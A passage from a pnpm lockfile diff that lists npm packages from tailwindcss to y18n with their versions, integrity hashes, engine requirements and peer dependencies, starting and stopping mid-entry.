sha512-uSaO4gnW+b3Y2aWoWfFpX62vn2sR3skfhbjsEnaBI81WD1wBLlHZe5sWf0AqjksNdYTbGBEd0UasQMT3SNV15g==} + + tailwindcss@3.4.18: + resolution: {integrity: sha512-6A2rnmW5xZMdw11LYjhcI5846rt9pbLSabY5XPxo+XWdxwZaFEn47Go4NzFiHu9sNNmr/kXivP1vStfvMaK1GQ==} + engines: {node: '>=14.0.0'} + hasBin: true + + tar@6.2.1: + resolution: {integrity: sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==} + engines: {node: '>=10'} + + terser@5.43.1: + resolution: {integrity: sha512-+6erLbBm0+LROX2sPXlUYx/ux5PyE9K/a92Wrt6oA+WDAoFTdpHE5tCYCI5PNzq2y8df4rA+QgHLJuR4jNymsg==} + engines: {node: '>=10'} + hasBin: true + + thenify-all@1.6.0: + resolution: {integrity: sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==} + engines: {node: '>=0.8'} + + thenify@3.3.1: + resolution: {integrity: sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==} + + tiny-glob@0.2.9: + resolution: {integrity: sha512-g/55ssRPUjShh+xkfx9UPDXqhckHEsHr4Vd9zX55oSdGZc/MD0m3sferOkwWtp98bv+kcVfEHtRJgBVJzelrzg==} + + tiny-inflate@1.0.3: + resolution: {integrity: sha512-pkY1fj1cKHb2seWDy0B16HeWyczlJA9/WW3u3c4z/NiWDsO3DOU5D7nhTLE9CF0yXv/QZFY7sEJmj24dK+Rrqw==} + + tinyexec@0.3.2: + resolution: {integrity: sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==} + + tinyglobby@0.2.15: + resolution: {integrity: sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==} + engines: {node: '>=12.0.0'} + + to-regex-range@5.0.1: + resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} + engines: {node: '>=8.0'} + + tosource@2.0.0-alpha.3: + resolution: {integrity: sha512-KAB2lrSS48y91MzFPFuDg4hLbvDiyTjOVgaK7Erw+5AmZXNq4sFRVn8r6yxSLuNs15PaokrDRpS61ERY9uZOug==} + engines: {node: '>=10'} + + tr46@0.0.3: + resolution: {integrity: sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==} + + trim-lines@3.0.1: + resolution: {integrity: sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==} + + trough@2.2.0: + resolution: {integrity: sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==} + + ts-interface-checker@0.1.13: + resolution: {integrity: sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==} + + tsconfck@3.1.6: + resolution: {integrity: sha512-ks6Vjr/jEw0P1gmOVwutM3B7fWxoWBL2KRDb1JfqGVawBmO5UsvmWOQFGHBPl5yxYz4eERr19E6L7NMv+Fej4w==} + engines: {node: ^18 || >=20} + hasBin: true + peerDependencies: + typescript: ^5.0.0 + peerDependenciesMeta: + typescript: + optional: true + + tslib@2.7.0: + resolution: {integrity: sha512-gLXCKdN1/j47AiHiOkJN69hJmcbGTHI0ImLmbYLHykhgeN0jVGola9yVjFgzCUklsZQMW55o+dW7IXv3RCXDzA==} + + tslib@2.8.1: + resolution: {integrity: sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==} + + tw-animate-css@1.4.0: + resolution: {integrity: sha512-7bziOlRqH0hJx80h/3mbicLW7o8qLsH5+RaLR2t+OHM3D0JlWGODQKQ4cxbK7WlvmUxpcj6Kgu6EKqjrGFe3QQ==} + + type-fest@4.41.0: + resolution: {integrity: sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==} + engines: {node: '>=16'} + + typed-array-buffer@1.0.3: + resolution: {integrity: sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==} + engines: {node: '>= 0.4'} + + typed-array-byte-length@1.0.3: + resolution: {integrity: sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==} + engines: {node: '>= 0.4'} + + typed-array-byte-offset@1.0.4: + resolution: {integrity: sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==} + engines: {node: '>= 0.4'} + + typed-array-length@1.0.7: + resolution: {integrity: sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==} + engines: {node: '>= 0.4'} + + typed-query-selector@2.12.0: + resolution: {integrity: sha512-SbklCd1F0EiZOyPiW192rrHZzZ5sBijB6xM+cpmrwDqObvdtunOHHIk9fCGsoK5JVIYXoyEp4iEdE3upFH3PAg==} + + typesafe-path@0.2.2: + resolution: {integrity: sha512-OJabfkAg1WLZSqJAJ0Z6Sdt3utnbzr/jh+NAHoyWHJe8CMSy79Gm085094M9nvTPy22KzTVn5Zq5mbapCI/hPA==} + + typescript-auto-import-cache@0.3.5: + resolution: {integrity: sha512-fAIveQKsoYj55CozUiBoj4b/7WpN0i4o74wiGY5JVUEoD0XiqDk1tJqTEjgzL2/AizKQrXxyRosSebyDzBZKjw==} + + typescript@4.9.5: + resolution: {integrity: sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==} + engines: {node: '>=4.2.0'} + hasBin: true + + typescript@5.9.3: + resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} + engines: {node: '>=14.17'} + hasBin: true + + uc.micro@2.1.0: + resolution: {integrity: sha512-ARDJmphmdvUk6Glw7y9DQ2bFkKBHwQHLi2lsaH6PPmz/Ka9sFOBsBluozhDltWmnv9u/cF6Rt87znRTPV+yp/A==} + + ufo@1.6.1: + resolution: {integrity: sha512-9a4/uxlTWJ4+a5i0ooc1rU7C7YOw3wT+UGqdeNNHWnOF9qcMBgLRS+4IYUqbczewFx4mLEig6gawh7X6mFlEkA==} + + ultrahtml@1.6.0: + resolution: {integrity: sha512-R9fBn90VTJrqqLDwyMph+HGne8eqY1iPfYhPzZrvKpIfwkWZbcYlfpsb8B9dTvBfpy1/hqAD7Wi8EKfP9e8zdw==} + + unbox-primitive@1.1.0: + resolution: {integrity: sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==} + engines: {node: '>= 0.4'} + + uncrypto@0.1.3: + resolution: {integrity: sha512-Ql87qFHB3s/De2ClA9e0gsnS6zXG27SkTiSJwjCc9MebbfapQfuPzumMIUMi38ezPZVNFcHI9sUIepeQfw8J8Q==} + + undici-types@6.19.8: + resolution: {integrity: sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw==} + + undici-types@7.12.0: + resolution: {integrity: sha512-goOacqME2GYyOZZfb5Lgtu+1IDmAlAEu5xnD3+xTzS10hT0vzpf0SPjkXwAw9Jm+4n/mQGDP3LO8CPbYROeBfQ==} + + undici@6.21.2: + resolution: {integrity: sha512-uROZWze0R0itiAKVPsYhFov9LxrPMHLMEQFszeI2gCN6bnIIZ8twzBCJcN2LJrBBLfrP0t1FW0g+JmKVl8Vk1g==} + engines: {node: '>=18.17'} + + unicode-canonical-property-names-ecmascript@2.0.1: + resolution: {integrity: sha512-dA8WbNeb2a6oQzAQ55YlT5vQAWGV9WXOsi3SskE3bcCdM0P4SDd+24zS/OCacdRq5BkdsRj9q3Pg6YyQoxIGqg==} + engines: {node: '>=4'} + + unicode-match-property-ecmascript@2.0.0: + resolution: {integrity: sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==} + engines: {node: '>=4'} + + unicode-match-property-value-ecmascript@2.2.0: + resolution: {integrity: sha512-4IehN3V/+kkr5YeSSDDQG8QLqO26XpL2XP3GQtqwlT/QYSECAwFztxVHjlbh0+gjJ3XmNLS0zDsbgs9jWKExLg==} + engines: {node: '>=4'} + + unicode-properties@1.4.1: + resolution: {integrity: sha512-CLjCCLQ6UuMxWnbIylkisbRj31qxHPAurvena/0iwSVbQ2G1VY5/HjV0IRabOEbDHlzZlRdCrD4NhB0JtU40Pg==} + + unicode-property-aliases-ecmascript@2.1.0: + resolution: {integrity: sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==} + engines: {node: '>=4'} + + unicode-trie@2.0.0: + resolution: {integrity: sha512-x7bc76x0bm4prf1VLg79uhAzKw8DVboClSN5VxJuQ+LKDOVEW9CdH+VY7SP+vX7xCYQqzzgQpFqz15zeLvAtZQ==} + + unified@11.0.5: + resolution: {integrity: sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==} + + unifont@0.5.2: + resolution: {integrity: sha512-LzR4WUqzH9ILFvjLAUU7dK3Lnou/qd5kD+IakBtBK4S15/+x2y9VX+DcWQv6s551R6W+vzwgVS6tFg3XggGBgg==} + + unist-util-find-after@4.0.1: + resolution: {integrity: sha512-QO/PuPMm2ERxC6vFXEPtmAutOopy5PknD+Oq64gGwxKtk4xwo9Z97t9Av1obPmGU0IyTa6EKYUfTrK2QJS3Ozw==} + + unist-util-find-after@5.0.0: + resolution: {integrity: sha512-amQa0Ep2m6hE2g72AugUItjbuM8X8cGQnFoHk0pGfrFeT9GZhzN5SW8nRsiGKK7Aif4CrACPENkA6P/Lw6fHGQ==} + + unist-util-is@5.2.1: + resolution: {integrity: sha512-u9njyyfEh43npf1M+yGKDGVPbY/JWEemg5nH05ncKPfi+kBbKBJoTdsogMu33uhytuLlv9y0O7GH7fEdwLdLQw==} + + unist-util-is@6.0.0: + resolution: {integrity: sha512-2qCTHimwdxLfz+YzdGfkqNlH0tLi9xjTnHddPmJwtIG9MGsdbutfTc4P+haPD7l7Cjxf/WZj+we5qfVPvvxfYw==} + + unist-util-map@3.1.3: + resolution: {integrity: sha512-4/mDauoxqZ6geK97lJ6n2kDk6JK88Vh+hWMSJqyaaP/7eqN1dDhjcjnNxKNm3YU6Sw7PVJtcFMUbnmHvYzb6Vg==} + + unist-util-modify-children@4.0.0: + resolution: {integrity: sha512-+tdN5fGNddvsQdIzUF3Xx82CU9sMM+fA0dLgR9vOmT0oPT2jH+P1nd5lSqfCfXAw+93NhcXNY2qqvTUtE4cQkw==} + + unist-util-position@5.0.0: + resolution: {integrity: sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==} + + unist-util-remove-position@5.0.0: + resolution: {integrity: sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q==} + + unist-util-stringify-position@4.0.0: + resolution: {integrity: sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==} + + unist-util-visit-children@3.0.0: + resolution: {integrity: sha512-RgmdTfSBOg04sdPcpTSD1jzoNBjt9a80/ZCzp5cI9n1qPzLZWF9YdvWGN2zmTumP1HWhXKdUWexjy/Wy/lJ7tA==} + + unist-util-visit-parents@5.1.3: + resolution: {integrity: sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==} + + unist-util-visit-parents@6.0.1: + resolution: {integrity: sha512-L/PqWzfTP9lzzEa6CKs0k2nARxTdZduw3zyh8d2NVBnsyvHjSX4TWse388YrrQKbvI8w20fGjGlhgT96WwKykw==} + + unist-util-visit@4.1.2: + resolution: {integrity: sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==} + + unist-util-visit@5.0.0: + resolution: {integrity: sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg==} + + universalify@2.0.1: + resolution: {integrity: sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==} + engines: {node: '>= 10.0.0'} + + unstorage@1.17.1: + resolution: {integrity: sha512-KKGwRTT0iVBCErKemkJCLs7JdxNVfqTPc/85ae1XES0+bsHbc/sFBfVi5kJp156cc51BHinIH2l3k0EZ24vOBQ==} + peerDependencies: + '@azure/app-configuration': ^1.8.0 + '@azure/cosmos': ^4.2.0 + '@azure/data-tables': ^13.3.0 + '@azure/identity': ^4.6.0 + '@azure/keyvault-secrets': ^4.9.0 + '@azure/storage-blob': ^12.26.0 + '@capacitor/preferences': ^6.0.3 || ^7.0.0 + '@deno/kv': '>=0.9.0' + '@netlify/blobs': ^6.5.0 || ^7.0.0 || ^8.1.0 || ^9.0.0 || ^10.0.0 + '@planetscale/database': ^1.19.0 + '@upstash/redis': ^1.34.3 + '@vercel/blob': '>=0.27.1' + '@vercel/functions': ^2.2.12 || ^3.0.0 + '@vercel/kv': ^1.0.1 + aws4fetch: ^1.0.20 + db0: '>=0.2.1' + idb-keyval: ^6.2.1 + ioredis: ^5.4.2 + uploadthing: ^7.4.4 + peerDependenciesMeta: + '@azure/app-configuration': + optional: true + '@azure/cosmos': + optional: true + '@azure/data-tables': + optional: true + '@azure/identity': + optional: true + '@azure/keyvault-secrets': + optional: true + '@azure/storage-blob': + optional: true + '@capacitor/preferences': + optional: true + '@deno/kv': + optional: true + '@netlify/blobs': + optional: true + '@planetscale/database': + optional: true + '@upstash/redis': + optional: true + '@vercel/blob': + optional: true + '@vercel/functions': + optional: true + '@vercel/kv': + optional: true + aws4fetch: + optional: true + db0: + optional: true + idb-keyval: + optional: true + ioredis: + optional: true + uploadthing: + optional: true + + update-browserslist-db@1.1.3: + resolution: {integrity: sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==} + hasBin: true + peerDependencies: + browserslist: '>= 4.21.0' + + util-deprecate@1.0.2: + resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} + + vfile-location@5.0.3: + resolution: {integrity: sha512-5yXvWDEgqeiYiBe1lbxYF7UMAIm/IcopxMHrMQDq3nvKcjPKIhZklUKL+AE7J7uApI4kwe2snsK+eI6UTj9EHg==} + + vfile-message@4.0.3: + resolution: {integrity: sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==} + + vfile@6.0.3: + resolution: {integrity: sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==} + + vite@6.3.6: + resolution: {integrity: sha512-0msEVHJEScQbhkbVTb/4iHZdJ6SXp/AvxL2sjwYQFfBqleHtnCqv1J3sa9zbWz/6kW1m9Tfzn92vW+kZ1WV6QA==} + engines: {node: ^18.0.0 || ^20.0.0 || >=22.0.0} + hasBin: true + peerDependencies: + '@types/node': ^18.0.0 || ^20.0.0 || >=22.0.0 + jiti: '>=1.21.0' + less: '*' + lightningcss: ^1.21.0 + sass: '*' + sass-embedded: '*' + stylus: '*' + sugarss: '*' + terser: ^5.16.0 + tsx: ^4.8.1 + yaml: ^2.4.2 + peerDependenciesMeta: + '@types/node': + optional: true + jiti: + optional: true + less: + optional: true + lightningcss: + optional: true + sass: + optional: true + sass-embedded: + optional: true + stylus: + optional: true + sugarss: + optional: true + terser: + optional: true + tsx: + optional: true + yaml: + optional: true + + vite@6.4.1: + resolution: {integrity: sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g==} + engines: {node: ^18.0.0 || ^20.0.0 || >=22.0.0} + hasBin: true + peerDependencies: + '@types/node': ^18.0.0 || ^20.0.0 || >=22.0.0 + jiti: '>=1.21.0' + less: '*' + lightningcss: ^1.21.0 + sass: '*' + sass-embedded: '*' + stylus: '*' + sugarss: '*' + terser: ^5.16.0 + tsx: ^4.8.1 + yaml: ^2.4.2 + peerDependenciesMeta: + '@types/node': + optional: true + jiti: + optional: true + less: + optional: true + lightningcss: + optional: true + sass: + optional: true + sass-embedded: + optional: true + stylus: + optional: true + sugarss: + optional: true + terser: + optional: true + tsx: + optional: true + yaml: + optional: true + + vitefu@1.1.1: + resolution: {integrity: sha512-B/Fegf3i8zh0yFbpzZ21amWzHmuNlLlmJT6n7bu5e+pCHUKQIfXSYokrqOBGEMMe9UG2sostKQF9mml/vYaWJQ==} + peerDependencies: + vite: ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0-beta.0 + peerDependenciesMeta: + vite: + optional: true + + volar-service-css@0.0.62: + resolution: {integrity: sha512-JwNyKsH3F8PuzZYuqPf+2e+4CTU8YoyUHEHVnoXNlrLe7wy9U3biomZ56llN69Ris7TTy/+DEX41yVxQpM4qvg==} + peerDependencies: + '@volar/language-service': ~2.4.0 + peerDependenciesMeta: + '@volar/language-service': + optional: true + + volar-service-emmet@0.0.62: + resolution: {integrity: sha512-U4dxWDBWz7Pi4plpbXf4J4Z/ss6kBO3TYrACxWNsE29abu75QzVS0paxDDhI6bhqpbDFXlpsDhZ9aXVFpnfGRQ==} + peerDependencies: + '@volar/language-service': ~2.4.0 + peerDependenciesMeta: + '@volar/language-service': + optional: true + + volar-service-html@0.0.62: + resolution: {integrity: sha512-Zw01aJsZRh4GTGUjveyfEzEqpULQUdQH79KNEiKVYHZyuGtdBRYCHlrus1sueSNMxwwkuF5WnOHfvBzafs8yyQ==} + peerDependencies: + '@volar/language-service': ~2.4.0 + peerDependenciesMeta: + '@volar/language-service': + optional: true + + volar-service-prettier@0.0.62: + resolution: {integrity: sha512-h2yk1RqRTE+vkYZaI9KYuwpDfOQRrTEMvoHol0yW4GFKc75wWQRrb5n/5abDrzMPrkQbSip8JH2AXbvrRtYh4w==} + peerDependencies: + '@volar/language-service': ~2.4.0 + prettier: ^2.2 || ^3.0 + peerDependenciesMeta: + '@volar/language-service': + optional: true + prettier: + optional: true + + volar-service-typescript-twoslash-queries@0.0.62: + resolution: {integrity: sha512-KxFt4zydyJYYI0kFAcWPTh4u0Ha36TASPZkAnNY784GtgajerUqM80nX/W1d0wVhmcOFfAxkVsf/Ed+tiYU7ng==} + peerDependencies: + '@volar/language-service': ~2.4.0 + peerDependenciesMeta: + '@volar/language-service': + optional: true + + volar-service-typescript@0.0.62: + resolution: {integrity: sha512-p7MPi71q7KOsH0eAbZwPBiKPp9B2+qrdHAd6VY5oTo9BUXatsOAdakTm9Yf0DUj6uWBAaOT01BSeVOPwucMV1g==} + peerDependencies: + '@volar/language-service': ~2.4.0 + peerDependenciesMeta: + '@volar/language-service': + optional: true + + volar-service-yaml@0.0.62: + resolution: {integrity: sha512-k7gvv7sk3wa+nGll3MaSKyjwQsJjIGCHFjVkl3wjaSP2nouKyn9aokGmqjrl39mi88Oy49giog2GkZH526wjig==} + peerDependencies: + '@volar/language-service': ~2.4.0 + peerDependenciesMeta: + '@volar/language-service': + optional: true + + vscode-css-languageservice@6.3.3: + resolution: {integrity: sha512-xXa+ftMPv6JxRgzkvPwZuDCafIdwDW3kyijGcfij1a2qBVScr2qli6MfgJzYm/AMYdbHq9I/4hdpKV0Thim2EA==} + + vscode-html-languageservice@5.3.3: + resolution: {integrity: sha512-AK/jJM0VIWRrlfqkDBMZxNMnxYT5I2uoMVRoNJ5ePSplnSaT9mbYjqJlxxeLvUrOW7MEH0vVIDzU48u44QZE0w==} + + vscode-json-languageservice@4.1.8: + resolution: {integrity: sha512-0vSpg6Xd9hfV+eZAaYN63xVVMOTmJ4GgHxXnkLCh+9RsQBkWKIghzLhW2B9ebfG+LQQg8uLtsQ2aUKjTgE+QOg==} + engines: {npm: '>=7.0.0'} + + vscode-jsonrpc@6.0.0: + resolution: {integrity: sha512-wnJA4BnEjOSyFMvjZdpiOwhSq9uDoK8e/kpRJDTaMYzwlkrhG1fwDIZI94CLsLzlCK5cIbMMtFlJlfR57Lavmg==} + engines: {node: '>=8.0.0 || >=10.0.0'} + + vscode-jsonrpc@8.2.0: + resolution: {integrity: sha512-C+r0eKJUIfiDIfwJhria30+TYWPtuHJXHtI7J0YlOmKAo7ogxP20T0zxB7HZQIFhIyvoBPwWskjxrvAtfjyZfA==} + engines: {node: '>=14.0.0'} + + vscode-languageserver-protocol@3.16.0: + resolution: {integrity: sha512-sdeUoAawceQdgIfTI+sdcwkiK2KU+2cbEYA0agzM2uqaUy2UpnnGHtWTHVEtS0ES4zHU0eMFRGN+oQgDxlD66A==} + + vscode-languageserver-protocol@3.17.5: + resolution: {integrity: sha512-mb1bvRJN8SVznADSGWM9u/b07H7Ecg0I3OgXDuLdn307rl/J3A9YD6/eYOssqhecL27hK1IPZAsaqh00i/Jljg==} + + vscode-languageserver-textdocument@1.0.12: + resolution: {integrity: sha512-cxWNPesCnQCcMPeenjKKsOCKQZ/L6Tv19DTRIGuLWe32lyzWhihGVJ/rcckZXJxfdKCFvRLS3fpBIsV/ZGX4zA==} + + vscode-languageserver-types@3.16.0: + resolution: {integrity: sha512-k8luDIWJWyenLc5ToFQQMaSrqCHiLwyKPHKPQZ5zz21vM+vIVUSvsRpcbiECH4WR88K2XZqc4ScRcZ7nk/jbeA==} + + vscode-languageserver-types@3.17.5: + resolution: {integrity: sha512-Ld1VelNuX9pdF39h2Hgaeb5hEZM2Z3jUrrMgWQAu82jMtZp7p3vJT3BzToKtZI7NgQssZje5o0zryOrhQvzQAg==} + + vscode-languageserver@7.0.0: + resolution: {integrity: sha512-60HTx5ID+fLRcgdHfmz0LDZAXYEV68fzwG0JWwEPBode9NuMYTIxuYXPg4ngO8i8+Ou0lM7y6GzaYWbiDL0drw==} + hasBin: true + + vscode-languageserver@9.0.1: + resolution: {integrity: sha512-woByF3PDpkHFUreUa7Hos7+pUWdeWMXRd26+ZX2A8cFx6v/JPTtd4/uN0/jB6XQHYaOlHbio03NTHCqrgG5n7g==} + hasBin: true + + vscode-nls@5.2.0: + resolution: {integrity: sha512-RAaHx7B14ZU04EU31pT+rKz2/zSl7xMsfIZuo8pd+KZO6PXtQmpevpq3vxvWNcrGbdmhM/rr5Uw5Mz+NBfhVng==} + + vscode-uri@3.1.0: + resolution: {integrity: sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ==} + + web-namespaces@2.0.1: + resolution: {integrity: sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ==} + + webidl-conversions@3.0.1: + resolution: {integrity: sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==} + + whatwg-encoding@3.1.1: + resolution: {integrity: sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==} + engines: {node: '>=18'} + + whatwg-mimetype@4.0.0: + resolution: {integrity: sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==} + engines: {node: '>=18'} + + whatwg-url@5.0.0: + resolution: {integrity: sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==} + + which-boxed-primitive@1.1.1: + resolution: {integrity: sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==} + engines: {node: '>= 0.4'} + + which-builtin-type@1.2.1: + resolution: {integrity: sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==} + engines: {node: '>= 0.4'} + + which-collection@1.0.2: + resolution: {integrity: sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==} + engines: {node: '>= 0.4'} + + which-pm-runs@1.1.0: + resolution: {integrity: sha512-n1brCuqClxfFfq/Rb0ICg9giSZqCS+pLtccdag6C2HyufBrh3fBOiy9nb6ggRMvWOVH5GrdJskj5iGTZNxd7SA==} + engines: {node: '>=4'} + + which-typed-array@1.1.19: + resolution: {integrity: sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==} + engines: {node: '>= 0.4'} + + which@2.0.2: + resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} + engines: {node: '>= 8'} + hasBin: true + + widest-line@5.0.0: + resolution: {integrity: sha512-c9bZp7b5YtRj2wOe6dlj32MK+Bx/M/d+9VB2SHM1OtsUHR0aV0tdP6DWh/iMt0kWi1t5g1Iudu6hQRNd1A4PVA==} + engines: {node: '>=18'} + + wrap-ansi@7.0.0: + resolution: {integrity: sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==} + engines: {node: '>=10'} + + wrap-ansi@8.1.0: + resolution: {integrity: sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==} + engines: {node: '>=12'} + + wrap-ansi@9.0.2: + resolution: {integrity: sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==} + engines: {node: '>=18'} + + wrappy@1.0.2: + resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==} + + ws@8.17.1: + resolution: {integrity: sha512-6XQFvXTkbfUOZOKKILFG1PDK2NDQs4azKQl26T0YS5CxqWLgXajbPZ+h4gZekJyRqFU8pvnbAbbs/3TgRPy+GQ==} + engines: {node: '>=10.0.0'} + peerDependencies: + bufferutil: ^4.0.1 + utf-8-validate: '>=5.0.2' + peerDependenciesMeta: + bufferutil: + optional: true + utf-8-validate: + optional: true + + xxhash-wasm@1.1.0: + resolution: {integrity: sha512-147y/6YNh+tlp6nd/2pWq38i9h6mz/EuQ6njIrmW8D1BS5nCqs0P6DG+m6zTGnNz5I+uhZ0SHxBs9BsPrwcKDA==} + + y18n@5.0.8: + resolution: 